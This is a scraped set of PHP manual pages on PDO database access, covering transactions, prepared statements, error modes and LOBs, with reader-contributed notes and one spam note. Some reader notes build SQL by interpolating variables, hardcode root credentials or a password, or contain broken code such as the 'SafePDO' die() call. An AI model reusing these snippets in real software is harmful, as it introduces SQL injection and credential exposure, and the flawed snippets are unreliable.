sleep(5);
$stmt = $pdo->prepare('SELECT * FROM admin');
$stmt->execute();
$pdo->query('SELECT pg_terminate_backend(pg_backend_pid());');
$pdo = null;
sleep(60);
?>

Following may be used for MYSQL: (not guaranteed)
KILL CONNECTION_ID()
jgestiotremovethis at gmail dot com 01-Apr-2014 07:47
Most web development does not warrant the use of Object Oriented Programming so it is surprising to see interfaces such as PDO are only provided as a class. The language should not force the developers to adopt Object Oriented Programming if they do not wish to use it.
thz at plista dot com 14-Jun-2013 10:27
If you are using PHP 5.4 and later, you can no longer use persistent connections when you have your own database class that derives from the native PDO object. If you do, you will get segmentation faults during the PHP process shutdown.

Please see this bug report for more information: https://bugs.php.net/bug.php?id=63176
alvaro at demogracia dot com 01-Jul-2011 07:07
On connection errors, the PDO constructor seems to do two things no matter your PDO::ATTR_ERRMODE setting:

1. Trigger a warning
2. Throw a PDOException

If you set the PDO::ATTR_ERRMODE parameter, it will only take effect on further operations.
jak dot spalding at gmail dot com 10-Apr-2011 09:35
Just thought I'd add in and give an explanation as to why you need to use 127.0.0.1 if you have a different port number.

The mysql libraries will automatically use Unix sockets if the host of "localhost" is used. To force TCP/IP you need to set an IP address.
angela 06-Apr-2010 11:53
I spent hours today trying to get my portable wamp to update a database, using localhost:800 and port 3307 for mysql. For it to work I needed to adjust the connect() instruction as described:
$dsn = "mysql:host=127.0.0.1;port=3307;dbname=mydatabase";
neville at whitespacers dot com 16-Oct-2009 12:40
To avoid exposing your connection details should you fail to remember to catch any exception thrown by the PDO constructor you can use the following class to implicitly change the exception handler temporarily.

<?php

Class SafePDO extends PDO {

        public static function exception_handler($exception) {
            // Output the exception details
            die('Uncaught exception: ', $exception->getMessage());
        }

        public function __construct($dsn, $username='', $password='', $driver_options=array()) {

            // Temporarily change the PHP exception handler while we . . .
            set_exception_handler(array(__CLASS__, 'exception_handler'));

            // . . . create a PDO object
            parent::__construct($dsn, $username, $password, $driver_options);

            // Change the exception handler back to whatever it was before
            restore_exception_handler();
        }

}

// Connect to the database with defined constants
$dbh = new SafePDO(PDO_DSN, PDO_USER, PDO_PASSWORD);

?>
dan dot franklin at pearson dot com 17-Apr-2008 06:37
Note that you can specify a port number with "port=####", but this port number will be ignored if the host is localhost.  If you want to connect to a local port other than the default, use host=127.0.0.1 instead of localhost.


Transactions and auto-commit

Now that you're connected via PDO, you must understand how PDO manages transactions before you start issuing queries. If you've never encountered transactions before, they offer 4 major features: Atomicity, Consistency, Isolation and Durability (ACID). In layman's terms, any work carried out in a transaction, even if it is carried out in stages, is guaranteed to be applied to the database safely, and without interference from other connections, when it is committed. Transactional work can also be automatically undone at your request (provided you haven't already committed it), which makes error handling in your scripts easier.

Transactions are typically implemented by "saving-up" your batch of changes to be applied all at once; this has the nice side effect of drastically improving the efficiency of those updates. In other words, transactions can make your scripts faster and potentially more robust (you still need to use them correctly to reap that benefit).

Unfortunately, not every database supports transactions, so PDO needs to run in what is known as "auto-commit" mode when you first open the connection. Auto-commit mode means that every query that you run has its own implicit transaction, if the database supports it, or no transaction if the database doesn't support transactions. If you need a transaction, you must use the PDO::beginTransaction() method to initiate one. If the underlying driver does not support transactions, a PDOException will be thrown (regardless of your error handling settings: this is always a serious error condition). Once you are in a transaction, you may use PDO::commit() or PDO::rollBack() to finish it, depending on the success of the code you run during the transaction.

Warning

PDO only checks for transaction capabilities on driver level. If certain runtime conditions mean that transactions are unavailable, PDO::beginTransaction() will still return TRUE without error if the database server accepts the request to start a transaction.

An example of this would be trying to use transactions on MyISAM tables on a MySQL database.

When the script ends or when a connection is about to be closed, if you have an outstanding transaction, PDO will automatically roll it back. This is a safety measure to help avoid inconsistency in the cases where the script terminates unexpectedly--if you didn't explicitly commit the transaction, then it is assumed that something went awry, so the rollback is performed for the safety of your data.

Warning

The automatic rollback only happens if you initiate the transaction via PDO::beginTransaction(). If you manually issue a query that begins a transaction PDO has no way of knowing about it and thus cannot roll it back if something bad happens.

Example #1 Executing a batch in a transaction

In the following sample, let's assume that we are creating a set of entries for a new employee, who has been assigned an ID number of 23. In addition to entering the basic data for that person, we also need to record their salary. It's pretty simple to make two separate updates, but by enclosing them within the PDO::beginTransaction() and PDO::commit() calls, we are guaranteeing that no one else will be able to see those changes until they are complete. If something goes wrong, the catch block rolls back all changes made since the transaction was started, and then prints out an error message.

<?php
try {
  $dbh = new PDO('odbc:SAMPLE', 'db2inst1', 'ibmdb2',
      array(PDO::ATTR_PERSISTENT => true));
  echo "Connected\n";
} catch (Exception $e) {
  die("Unable to connect: " . $e->getMessage());
}

try {
  $dbh->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);

  $dbh->beginTransaction();
  $dbh->exec("insert into staff (id, first, last) values (23, 'Joe', 'Bloggs')");
  $dbh->exec("insert into salarychange (id, amount, changedate)
      values (23, 50000, NOW())");
  $dbh->commit();

} catch (Exception $e) {
  $dbh->rollBack();
  echo "Failed: " . $e->getMessage();
}
?>

You're not limited to making updates in a transaction; you can also issue complex queries to extract data, and possibly use that information to build up more updates and queries; while the transaction is active, you are guaranteed that no one else can make changes while you are in the middle of your work. For further reading on transactions, refer to the documentation provided by your database server.

User Contributed Notes

pasamio at gmail dot com 27-Oct-2012 04:25
Typically data definition language clauses (DDL) will trigger the database engine to automatically commit:
http://dev.mysql.com/doc/refman/5.0/en/implicit-commit.html

Many other databases (e.g. Oracle) will implicitly commit before and after running DDL statements.


Prepared statements and stored procedures

Many of the more mature databases support the concept of prepared statements. What are they? They can be thought of as a kind of compiled template for the SQL that an application wants to run, that can be customized using variable parameters. Prepared statements offer two major benefits:

  • The query only needs to be parsed (or prepared) once, but can be executed multiple times with the same or different parameters. When the query is prepared, the database will analyze, compile and optimize its plan for executing the query. For complex queries this process can take up enough time that it will noticeably slow down an application if there is a need to repeat the same query many times with different parameters. By using a prepared statement the application avoids repeating the analyze/compile/optimize cycle. This means that prepared statements use fewer resources and thus run faster.
  • The parameters to prepared statements don't need to be quoted; the driver automatically handles this. If an application exclusively uses prepared statements, the developer can be sure that no SQL injection will occur (however, if other portions of the query are being built up with unescaped input, SQL injection is still possible).

Prepared statements are so useful that they are the only feature that PDO will emulate for drivers that don't support them. This ensures that an application will be able to use the same data access paradigm regardless of the capabilities of the database.

Example #1 Repeated inserts using prepared statements

This example performs an INSERT query by substituting a name and a value for the named placeholders.

<?php
$stmt = $dbh->prepare("INSERT INTO REGISTRY (name, value) VALUES (:name, :value)");
$stmt->bindParam(':name', $name);
$stmt->bindParam(':value', $value);

// insert one row
$name = 'one';
$value = 1;
$stmt->execute();

// insert another row with different values
$name = 'two';
$value = 2;
$stmt->execute();
?>

Example #2 Repeated inserts using prepared statements

This example performs an INSERT query by substituting a name and a value for the positional ? placeholders.

<?php
$stmt = $dbh->prepare("INSERT INTO REGISTRY (name, value) VALUES (?, ?)");
$stmt->bindParam(1, $name);
$stmt->bindParam(2, $value);

// insert one row
$name = 'one';
$value = 1;
$stmt->execute();

// insert another row with different values
$name = 'two';
$value = 2;
$stmt->execute();
?>

Example #3 Fetching data using prepared statements

This example fetches data based on a key value supplied by a form. The user input is automatically quoted, so there is no risk of a SQL injection attack.

<?php
$stmt = $dbh->prepare("SELECT * FROM REGISTRY where name = ?");
if ($stmt->execute(array($_GET['name']))) {
  while ($row = $stmt->fetch()) {
    print_r($row);
  }
}
?>

If the database driver supports it, an application may also bind parameters for output as well as input. Output parameters are typically used to retrieve values from stored procedures. Output parameters are slightly more complex to use than input parameters, in that a developer must know how large a given parameter might be when they bind it. If the value turns out to be larger than the size they suggested, an error is raised.

Example #4 Calling a stored procedure with an output parameter

<?php
$stmt = $dbh->prepare("CALL sp_returns_string(?)");
$stmt->bindParam(1, $return_value, PDO::PARAM_STR, 4000);

// call the stored procedure
$stmt->execute();

print "procedure returned $return_value\n";
?>

Developers may also specify parameters that hold values both input and output; the syntax is similar to output parameters. In this next example, the string 'hello' is passed into the stored procedure, and when it returns, hello is replaced with the return value of the procedure.

Example #5 Calling a stored procedure with an input/output parameter

<?php
$stmt = $dbh->prepare("CALL sp_takes_string_returns_string(?)");
$value = 'hello';
$stmt->bindParam(1, $value, PDO::PARAM_STR|PDO::PARAM_INPUT_OUTPUT, 4000);

// call the stored procedure
$stmt->execute();

print "procedure returned $value\n";
?>

Example #6 Invalid use of placeholder

<?php
$stmt = $dbh->prepare("SELECT * FROM REGISTRY where name LIKE '%?%'");
$stmt->execute(array($_GET['name']));

// placeholder must be used in the place of the whole value
$stmt = $dbh->prepare("SELECT * FROM REGISTRY where name LIKE ?");
$stmt->execute(array("%$_GET[name]%"));
?>

User Contributed Notes

user at example dot 1com 05-Sep-2014 08:39
lol :@ lol :@ lol :@ lol :@ lol :@ lol :@ lol :@ lol :@ lol :@ lol :@ lol :@ lol :@ lol :@ lol :@ lol :@ lol :@ lol :@ lol :@ lol :@ lol :@ lol :@ lol :@ lol :@ lol :@ lol :@ lol :@ lol :@ lol :@ lol :@ lol :@ lol :@ lol :@ lol :@ lol :@ lol :@ lol :@ lol :@ lol :@ lol :@ lol :@ lol :@ lol :@ lol :@ lol :@ lol :@ lol :@ lol :@ lol :@ lol :@ lol :@ lol :@ lol :@ lol :@ lol :@ lol :@ lol :@  lol :@ lol :@ lol :@ lol :@ lol :@ lol :@ lol :@ lol :@ lol :@ lol :@ lol :@ lol :@ lol :@ lol :@ lol :@ lol :@ lol :@ lol :@

 lol :@ lol :@ lol :@ lol :@ lol :@ lol :@ lol :@ lol :@ lol :@ lol :@ lol :@ lol :@ lol :@ lol :@ lol :@ lol :@ lol :@ lol :@ lol :@ lol :@ lol :@ lol :@ lol :@ lol :@ lol :@ lol :@ lol :@ lol :@ lol :@ lol :@ lol :@ lol :@ lol :@ lol :@ lol :@ lol :@ lol :@ lol :@ lol :@ lol :@ lol :@ lol :@ lol :@ lol :@ lol :@
Anonymous 21-Feb-2014 06:40
/** Добавить модификации документа */
    public function insert_doc_modification($doc_id , array $notice ,array $modification_fields)
    {

        $fields = array_keys($modification_fields);
        $sql = "INSERT INTO doc_modification
                    (doc_id , " . implode( ",", $fields ) . ")
                VALUES
                    (:doc_id , :" . implode( ", :", $fields ) . " )
                ON DUPLICATE KEY UPDATE
                    `hash` = :hash ; ";

        $stmt = $this->pdo->prepare($sql);
        $stmt->bindParam(':doc_id',$doc_id);
        //Создать бинды по полям
        foreach($modification_fields as $name => $val)
        {
            $stmt->bindParam(':'.$name,  $modification_fields[$name]);
        }
        //Обойти все модификации по документу
        foreach($notice as $value)
        {
            foreach($modification_fields as $name => $val)
            {
                if(empty($value[$name])) continue ;
                $modification_fields[$name] = $value[$name];
            }
            $stmt->execute();
        }

    }
Sebastien Gourmand 08-Jul-2013 08:59
Replace the query() by a prepare()/execute() for having one line like a sprintf()

old query() renamed for remember to secure.

<?php
class MyPDO extends PDO{

    const DB_HOST='localhost';
    const DB_PORT='3306';
    const DB_NAME='test';
    const DB_USER='root';
    const DB_PASS='';

    public function __construct($options=null){
        parent::__construct('mysql:host='.MyPDO::DB_HOST.';port='.MyPDO::DB_PORT.';dbname='.MyPDO::DB_NAME,
                            MyPDO::DB_USER,
                            MyPDO::DB_PASS,$options);
    }

    public function query($query){ //secured query with prepare and execute
        $args = func_get_args();
        array_shift($args); //first element is not an argument but the query itself, should removed

        $reponse = parent::prepare($query);
        $reponse->execute($args);
        return $reponse;

    }

    public function insecureQuery($query){ //you can use the old query at your risk ;) and should use secure quote() function with it
        return parent::query($query);
    }

}

$db = new MyPDO();
$db->setAttribute(PDO::ATTR_DEFAULT_FETCH_MODE, PDO::FETCH_OBJ);

$t1 = isset($_GET["t1"])?$_GET["t1"]:1; // need to be securised for injonction
$t2 = isset($_GET["t2"])?$_GET["t2"]:2; // need to be securised for injonction
$t3 = isset($_GET["t3"])?$_GET["t3"]:3; // need to be securised for injonction

$ret = $db->query("SELECT * FROM table_test WHERE t1=? AND t2=? AND t3=?",$t1,$t2,$t3);
//$ret = $db->insecureQuery("SELECT * FROM table_test WHERE t1=".$db->quote($t1));

while ($o = $ret->fetch())
{
    echo $o->nom.PHP_EOL;
}
?>
Anonymous 23-Jan-2011 01:26
Note for MySQL: to use input/output parameters for stored procedures with PDO use PDO.Query() statement.
For example:

<?php
$dbh->query("CAST SomeStoredProcedure($someInParameter1, $someInParameter2, @someOutParameter)");
$dbh->query("SELECT @someOutParameter");
?>

Or, if you want very much to use PDO.Prepare(), insert "SELECT @someOutParameter" in your stored procedure and then use:

<?php
$stmt = $dbh->prepare("CAST SomeStoredProcedure(?, ?)");
$stmt ->execute(array($someInParameter1, $someInParameter2));
?>
oldmoscow dot mail dot ru 21-Jan-2011 11:09
Note for MySQL: to use input/output parameters for stored procedures with PDO use PDO.Query() statement.
For example:

<?php
$dbh->query("CAST SomeStoredProcedure($someInParameter1, $someInParameter2, @someOutParameter)");
$dbh->query("SELECT @someOutParameter");
?>

Or, if you want very much to use PDO.Prepare(), insert "SELECT @someOutParameter" in your stored procedure and then use:

<?php
$stmt = $dbh->prepare("CAST SomeStoredProcedure(?, ?)");
$stmt ->execute(array($someInParameter1, $someInParameter2));
?>
adam at pyramidpower dot com dot au 06-Apr-2010 03:38
Note that when using name parameters with bindParam, the name itself, cannot contain a dash '-'.

example:
<?php
$stmt = $dbh->prepare ("INSERT INTO user (firstname, surname) VALUES (:f-name, :s-name)");
$stmt -> bindParam(':f-name', 'John');
$stmt -> bindParam(':s-name', 'Smith');
$stmt -> execute();
?>

The dashes in 'f-name' and 's-name' should be replaced with an underscore or no dash at all.

See http://bugs.php.net/43130

Adam


Errors and error handling

PDO offers you a choice of 3 different error handling strategies, to fit your style of application development.

  • PDO::ERRMODE_SILENT

    This is the default mode. PDO will simply set the error code for you to inspect using the PDO::errorCode() and PDO::errorInfo() methods on both the statement and database objects; if the error resulted from a call on a statement object, you would invoke the PDOStatement::errorCode() or PDOStatement::errorInfo() method on that object. If the error resulted from a call on the database object, you would invoke those methods on the database object instead.

  • PDO::ERRMODE_WARNING

    In addition to setting the error code, PDO will emit a traditional E_WARNING message. This setting is useful during debugging/testing, if you just want to see what problems occurred without interrupting the flow of the application.

  • PDO::ERRMODE_EXCEPTION

    In addition to setting the error code, PDO will throw a PDOException and set its properties to reflect the error code and error information. This setting is also useful during debugging, as it will effectively "blow up" the script at the point of the error, very quickly pointing a finger at potential problem areas in your code (remember: transactions are automatically rolled back if the exception causes the script to terminate).

    Exception mode is also useful because you can structure your error handling more clearly than with traditional PHP-style warnings, and with less code/nesting than by running in silent mode and explicitly checking the return value of each database call.

    See Exceptions for more information about Exceptions in PHP.

PDO standardizes on using SQL-92 SQLSTATE error code strings; individual PDO drivers are responsible for mapping their native codes to the appropriate SQLSTATE codes. The PDO::errorCode() method returns a single SQLSTATE code. If you need more specific information about an error, PDO also offers an PDO::errorInfo() method which returns an array containing the SQLSTATE code, the driver specific error code and driver specific error string.

Example #1 Create a PDO instance and set the error mode

<?php
$dsn = 'mysql:dbname=testdb;host=127.0.0.1';
$user = 'dbuser';
$password = 'dbpass';

try {
    $dbh = new PDO($dsn, $user, $password);
    $dbh->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
} catch (PDOException $e) {
    echo 'Connection failed: ' . $e->getMessage();
}

?>

Note:

PDO::__construct() will always throw a PDOException if the connection fails regardless of which PDO::ATTR_ERRMODE is currently set. Uncaught Exceptions are fatal.

Example #2 Create a PDO instance and set the error mode from the constructor

<?php
$dsn = 'mysql:dbname=test;host=127.0.0.1';
$user = 'googleguy';
$password = 'googleguy';

/*
    Using try/catch around the constructor is still valid even though we set the ERRMODE to WARNING since
    PDO::__construct will always throw a PDOException if the connection fails.
*/
try {
    $dbh = new PDO($dsn, $user, $password, array(PDO::ATTR_ERRMODE => PDO::ERRMODE_WARNING));
} catch (PDOException $e) {
    echo 'Connection failed: ' . $e->getMessage();
    exit;
}

// This will cause PDO to throw an error of level E_WARNING instead of an exception (when the table doesn't exist)
$dbh->query("SELECT wrongcolumn FROM wrongtable");
?>

The above example will output:

Warning: PDO::query(): SQLSTATE[42S02]: Base table or view not found: 1146 Table 'test.wrongtable' doesn't exist in
/tmp/pdo_test.php on line 18

User Contributed Notes

There are no user contributed notes for this page.


Large Objects (LOBs)

At some point in your application, you might find that you need to store "large" data in your database. Large typically means "around 4kb or more", although some databases can happily handle up to 32kb before data becomes "large". Large objects can be either textual or binary in nature. PDO allows you to work with this large data type by using the PDO::PARAM_LOB type code in your PDOStatement::bindParam() or PDOStatement::bindColumn() calls. PDO::PARAM_LOB tells PDO to map the data as a stream, so that you can manipulate it using the PHP Streams API.

Example #1 Displaying an image from a database

This example binds the LOB into the variable named $lob and then sends it to the browser using fpassthru(). Since the LOB is represented as a stream, functions such as fgets(), fread() and stream_get_contents() can be used on it.

<?php
$db = new PDO('odbc:SAMPLE', 'db2inst1', 'ibmdb2');
$stmt = $db->prepare("select contenttype, imagedata from images where id=?");
$stmt->execute(array($_GET['id']));
$stmt->bindColumn(1, $type, PDO::PARAM_STR, 256);
$stmt->bindColumn(2, $lob, PDO::PARAM_LOB);
$stmt->fetch(PDO::FETCH_BOUND);

header("Content-Type: $type");
fpassthru($lob);
?>

Example #2 Inserting an image into a database

This example opens up a file and passes the file handle to PDO to insert it as a LOB. PDO will do its best to get the contents of the file up to the database in the most efficient manner possible.

<?php
$db = new PDO('odbc:SAMPLE', 'db2inst1', 'ibmdb2');
$stmt = $db->prepare("insert into images (id, contenttype, imagedata) values (?, ?, ?)");
$id = get_new_id(); // some function to allocate a new ID

// assume that we are running as part of a file upload form
// You can find more information in the PHP documentation

$fp = fopen($_FILES['file']['tmp_name'], 'rb');

$stmt->bindParam(1, $id);
$stmt->bindParam(2, $_FILES['file']['type']);
$stmt->bindParam(3, $fp, PDO::PARAM_LOB);

$db->beginTransaction();
$stmt->execute();
$db->commit();
?>

Example #3 Inserting an image into a database: Oracle

Oracle requires a slightly different syntax for inserting a lob from a file. It's also essential that you perform the insert under a transaction, otherwise your newly inserted LOB will be committed with a zero-length as part of the implicit commit that happens when the query is executed:

<?php
$db = new PDO('oci:', 'scott', 'tiger');
$stmt = $db->prepare("insert into images (id, contenttype, imagedata) " .
"VALUES (?, ?, EMPTY_BLOB()) RETURNING imagedata INTO ?");
$id = get_new_id(); // some function to allocate a new ID

// assume that we are running as part of a file upload form
// You can find more information in the PHP documentation

$fp = fopen($_FILES['file']['tmp_name'], 'rb');

$stmt->bindParam(1, $id);
$stmt->bindParam(2, $_FILES['file']['type']);
$stmt->bindParam(3, $fp, PDO::PARAM_LOB);

$stmt->beginTransaction();
$stmt->execute();
$stmt->commit();
?>

User Contributed Notes

xorinox at gmx dot ch 13-Jan-2011 08:11
I find it easier to use stream_get_contens to fetch the data of a lob using the file handle.

<?php
$stmt = $pdo->con->prepare( 'select * from filetable' );
$stmt->execute();
$res = $stmt->fetchAll( PDO::FETCH_ASSOC );

for( $i=0; $i<count($res); $i++ ){
  $filename = "C:/tmp/".$res[$i]['FILE_ID'].'.xml';
  $content = stream_get_contents( $res[$i]['DATA_FILE'] );
  file_put_contents( $filename, $content );
}
?>
Jeremy Cook 19-Feb-2010 10:31
There seems to be a bug that affects example 1 above. PDO::PARAM_LOB when used with pdo::bindColumn() is supposed to return a stream but it returns a string. Passing this string to fpassthru() then triggers an error with the message 'supplied argument is not a valid stream resource'. This has been reported in bug #40913. The work around is to do the following:

<?php
$stmt = $db->prepare("select contenttype, imagedata from images where id=?");
$stmt->execute(array($_GET['id']));
$stmt->bindColumn(1, $type, PDO::PARAM_STR, 256);
$stmt->bindColumn(2, $lob, PDO::PARAM_LOB);
$stmt->fetch(PDO::FETCH_BOUND);

header("Content-Type: $type");
echo($lob);
?>

Since the browser is expecting an image after the call to header() writing the string representation of the binary output with echo() has the same affect as calling fpassthru().
http://matts.org/ 28-Aug-2009 10:30
A big gotcha exists for Oracle users.

You have to save CLOB objects using PDO::PARAM_STR, not PDO::PARAM_LOB.

But you MUST send the 4th argument, usually strlen($subject) or you get a LONG error.
diogoko at gmail dot com 01-Apr-2009 06:33
PDOStatement's methods bindParam and bindValue also work with strings, as in:

<?php
  $data = file_get_contents($filename);
  $stmt->bindValue(1, $data, PDO::PARAM_LOB);
  //...
?>

This was the only way I could make it work with PostgreSQL.
knl at bitflop dot com 23-Sep-2008 09:07
I spend a lot of time trying to get this to work, but no matter what I did PDO corrupted my data.

I finally discovered that I had been using:

$pdo->exec('SET CHARACTER SET utf8');

in the TRY part of my connection script.

This off course doesn't work when you feed binary input to PDO using the parameter lob.


The PDO class

(PHP 5 >= 5.1.0, PECL pdo >= 0.1.0)

Introduction

Represents a connection between PHP and a database server.

Class synopsis

PDO {
public __construct ( string $dsn [, string $username [, string $password [, array $options ]]] )
public bool beginTransaction ( void )
public bool commit ( void )
public mixed errorCode ( void )
public array errorInfo ( void )
public int exec ( string $statement )
public mixed getAttribute ( int $attribute )
public static array getAvailableDrivers ( void )
public bool inTransaction ( void )
public string lastInsertId ([ string $name = NULL ] )
public PDOStatement prepare ( string $statement [, array $driver_options = array() ] )
public PDOStatement query ( string $statement )
public string quote ( string $string [, int $parameter_type = PDO::PARAM_STR ] )
public bool rollBack ( void )
public bool setAttribute ( int $attribute , mixed $value )
}

Table of Contents

  • PDO::beginTransaction — Initiates a transaction
  • PDO::commit — Commits a transaction
  • PDO::__construct — Creates a PDO instance representing a connection to a database
  • PDO::errorCode — Fetch the SQLSTATE associated with the last operation on the database handle
  • PDO::errorInfo — Fetch extended error information associated with the last operation on the database handle
  • PDO::exec — Execute an SQL statement and return the number of affected rows
  • PDO::getAttribute — Retrieve a database connection attribute
  • PDO::getAvailableDrivers — Return an array of available PDO drivers
  • PDO::inTransaction — Checks if inside a transaction
  • PDO::lastInsertId — Returns the ID of the last inserted row or sequence value
  • PDO::prepare — Prepares a statement for execution and returns a statement object
  • PDO::query — Executes an SQL statement, returning a result set as a PDOStatement object
  • PDO::quote — Quotes a string for use in a query.
  • PDO::rollBack — Rolls back a transaction
  • PDO::setAttribute — Set an attribute

User Contributed Notes

thz at plista dot com 14-Jun-2013 10:25
Starting with PHP 5.4 you are unable to use persistent connections when you have your own database class derived from the native PDO class. If your code uses this combination, you will encounter segmentation faults during the cleanup of the PHP process.
You can still use _either_ a derived PDO class _or_ persistent connections.

For more information, please see this bug report: https://bugs.php.net/bug.php?id=63176
williambarry007 at gmail dot com 12-Oct-2011 10:10
PDO and Dependency Injection

Dependency injection is good for testing.  But for anyone wanting various data mapper objects to have a database connection, dependency injection can make other model code very messy because database objects have to be instantiated all over the place and given to the data mapper objects.

The code below is a good way to maintain dependency injection while keeping clean and minimal model code.

<?php

class DataMapper
{
    public static $db;

    public static function init($db)
    {
        self::$db = $db;
    }
}

class VendorMapper extends DataMapper
{
    public static function add($vendor)
    {
        $st = self::$db->prepare(
            "insert into vendors set
            first_name = :first_name,
            last_name = :last_name"
        );
        $st->execute(array(
            ':first_name' => $vendor->first_name,
            ':last_name' => $vendor->last_name
        ));
    }
}

// In your bootstrap
$db = new PDO(...);
DataMapper::init($db);

// In your model logic
$vendor = new Vendor('John', 'Doe');
VendorMapper::add($vendor);

?>
kcleung at kcleung dot no-ip dot org 03-May-2010 12:47
Here is an singleton PDO example:

###### config.ini ######
db_driver=mysql
db_user=root
db_password=924892xp

[dsn]
host=localhost
port=3306
dbname=localhost

[db_options]
PDO::MYSQL_ATTR_INIT_COMMAND=set names utf8

[db_attributes]
ATTR_ERRMODE=ERRMODE_EXCEPTION
############

<?php class Database {
    private static $link = null ;

    private static function getLink ( ) {
        if ( self :: $link ) {
            return self :: $link ;
        }

        $ini = _BASE_DIR . "config.ini" ;
        $parse = parse_ini_file ( $ini , true ) ;

        $driver = $parse [ "db_driver" ] ;
        $dsn = "${driver}:" ;
        $user = $parse [ "db_user" ] ;
        $password = $parse [ "db_password" ] ;
        $options = $parse [ "db_options" ] ;
        $attributes = $parse [ "db_attributes" ] ;

        foreach ( $parse [ "dsn" ] as $k => $v ) {
            $dsn .= "${k}=${v};" ;
        }

        self :: $link = new PDO ( $dsn, $user, $password, $options ) ;

        foreach ( $attributes as $k => $v ) {
            self :: $link -> setAttribute ( constant ( "PDO::{$k}" )
                , constant ( "PDO::{$v}" ) ) ;
        }

        return self :: $link ;
    }

    public static function __callStatic ( $name, $args ) {
        $callback = array ( self :: getLink ( ), $name ) ;
        return call_user_func_array ( $callback , $args ) ;
    }
} ?>

<?php // examples
$stmt = Database :: prepare ( "SELECT 'something' ;" ) ;
$stmt -> execute ( ) ;
var_dump ( $stmt -> fetchAll ( ) ) ;
$stmt -> closeCursor ( ) ;
?>
Megaloman 18-Feb-2009 04:03
"And storing username/password inside class is not a very good idea for production code."

Good idea is to store database connection settings in *.ini files but you have to restrict access to them. For example this way:

my_setting.ini:
[database]
driver = mysql
host = localhost
;port = 3306
schema = db_schema
username = user
password = secret

Database connection:
<?php
class MyPDO extends PDO
{
    public function __construct($file = 'my_setting.ini')
    {
        if (!$settings = parse_ini_file($file, TRUE)) throw new exception('Unable to open ' . $file . '.');

        $dns = $settings['database']['driver'] .
        ':host=' . $settings['database']['host'] .
        ((!empty($settings['database']['port'])) ? (';port=' . $settings['database']['port']) : '') .
        ';dbname=' . $settings['database']['schema'];

        parent::__construct($dns, $settings['database']['username'], $settings['database']['password']);
    }
}
?>

Database connection parameters are accessible via human readable ini file for those who screams even if they see one PHP/HTML/any_other command.
anrdaemon at freemail dot ru 22-Aug-2008 10:16
Keep in mind, you MUST NOT use 'root' user in your applications, unless your application designed to do a database maintenance.

And storing username/password inside class is not a very good idea for production code. You would need to edit the actual working code to change settings, which is bad.
schizo_mind at hotmail dot com 28-Jul-2008 07:00
<?php
class PDOConfig extends PDO {

    private $engine;
    private $host;
    private $database;
    private $user;
    private $pass;

    public function __construct(){
        $this->engine = 'mysql';
        $this->host = 'localhost';
        $this->database = '';
        $this->user = 'root';
        $this->pass = '';
        $dns = $this->engine.':dbname='.$this->database.";host=".$this->host;
        parent::__construct( $dns, $this->user, $this->pass );
    }
}
?>


Initiates a transaction

  • « PDO
  • PDO::commit »
  • PHP Manual
  • PDO
  • Initiates a transaction

PDO::beginTransaction

(PHP 5 >= 5.1.0, PECL pdo >= 0.1.0)

PDO::beginTransaction — Initiates a transaction

Description

public bool PDO::beginTransaction ( void )

Turns off autocommit mode. While autocommit mode is turned off, changes made to the database via the PDO object instance are not committed until you end the transaction by calling PDO::commit(). Calling PDO::rollBack() will roll back all changes to the database and return the connection to autocommit mode.

Some databases, including MySQL, automatically issue an implicit COMMIT when a database definition language (DDL) statement such as DROP TABLE or CREATE TABLE is issued within a transaction. The implicit COMMIT will prevent you from rolling back any other changes within the transaction boundary.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 Roll back a transaction

The following example begins a transaction and issues two statements that modify the database before rolling back the changes. On MySQL, however, the DROP TABLE statement automatically commits the transaction so that none of the changes in the transaction are rolled back.

<?php
/* Begin a transaction, turning off autocommit */
$dbh->beginTransaction();

/* Change the database schema and data */
$sth = $dbh->exec("DROP TABLE fruit");
$sth = $dbh->exec("UPDATE dessert
    SET name = 'hamburger'");

/* Recognize mistake and roll back changes */
$dbh->rollBack();

/* Database connection is now back in autocommit mode */
?>

See Also

  • PDO::commit() - Commits a transaction
  • PDO::rollBack() - Rolls back a transaction
  • Transactions and auto-commit

User Contributed Notes

arth dot inbox at mail dot ru 07-Apr-2014 05:53
Strange behavior with pdo_firebird driver:

<?php
$dbh = new PDO ('','','',array( PDO :: ATTR_PERSISTENT=>true));
$dbh->setAttribute(PDO::ATTR_ERRMODE,PDO::ERRMODE_EXCEPTION );
$dbh -> exec ( "select 1;" ); //should be autocommitted
try
{
   //$dbh->commit/rollback here fixes the issue;
   $dbh -> beginTransaction (); // <- fails "with there is already an active transaction"
   $dbh -> exec ( "select 1;" );
   $dbh -> commit ();
}
catch ( Exception $e )
{
  $dbh -> rollBack ();
 }
?>
mtjo62 at gmail dot com 04-Nov-2013 08:22
For the PDO driver for the  Firebird server, you have to explicitly disable autocommit to initiate the  transaction as well as explicitly enable autocommit to commit it.

$dbh->setAttribute( PDO::ATTR_AUTOCOMMIT, 0 );
$dbh->beginTransaction();

/** Query block */

$dbh->commit();
$dbh->setAttribute( PDO::ATTR_AUTOCOMMIT, 1 );
bitluni 17-Aug-2012 06:27
You can generate problems with nested beginTransaction and commit calls.
example:

beginTransaction()
do imprortant stuff
call method
    beginTransaction()
    basic stuff 1
    basic stuff 2
    commit()
do most important stuff
commit()

Won't work and is dangerous since you could close your transaction too early with the nested commit().

There is no need to mess you code and pass like a bool which indicate if transaction is already running. You could just overload the beginTransaction() and commit() in your PDO wrapper like this:

<?php
class Database extends \\PDO
{
    protected $transactionCounter = 0;
    function beginTransaction()
    {
        if(!$this->transactionCounter++)
            return parent::beginTransaction();
       return $this->transactionCounter >= 0;
    }

    function commit()
    {
       if(!--$this->transactionCounter)
           return parent::commit();
       return $this->transactionCounter >= 0;
    }

    function rollback()
    {
        if($this->transactionCounter >= 0)
        {
            $this->transactionCounter = 0;
            return parent::rollback();
        }
        $this->transactionCounter = 0;
        return false;
    }
//...
}
?>
ludwig dot green at gmail dot com 08-Jun-2010 06:23
be aware that you also can not use TRUNCATE TABLE as this statement will trigger a commit just like CREATE TABLE or DROP TABLE

it is best to only use SELECT, UPDATE and DELETE within a transaction, all other statements may cause commits thus breaking the atomicity of your transactions and their ability to rollback

obviously you can use DELETE FROM <table> instead of TRUNCATE TABLE but be aware that there are differences between both statements, for example TRUNCATE resets the auto_increment value while DELETE does not.
geompse at gmail dot com 28-Dec-2009 10:58
With Oracle, any structure statement will do an implicit commit.

So : ALTER TABLE "my_table" DROP COLUMN "my_column";
Can't be rolled back !

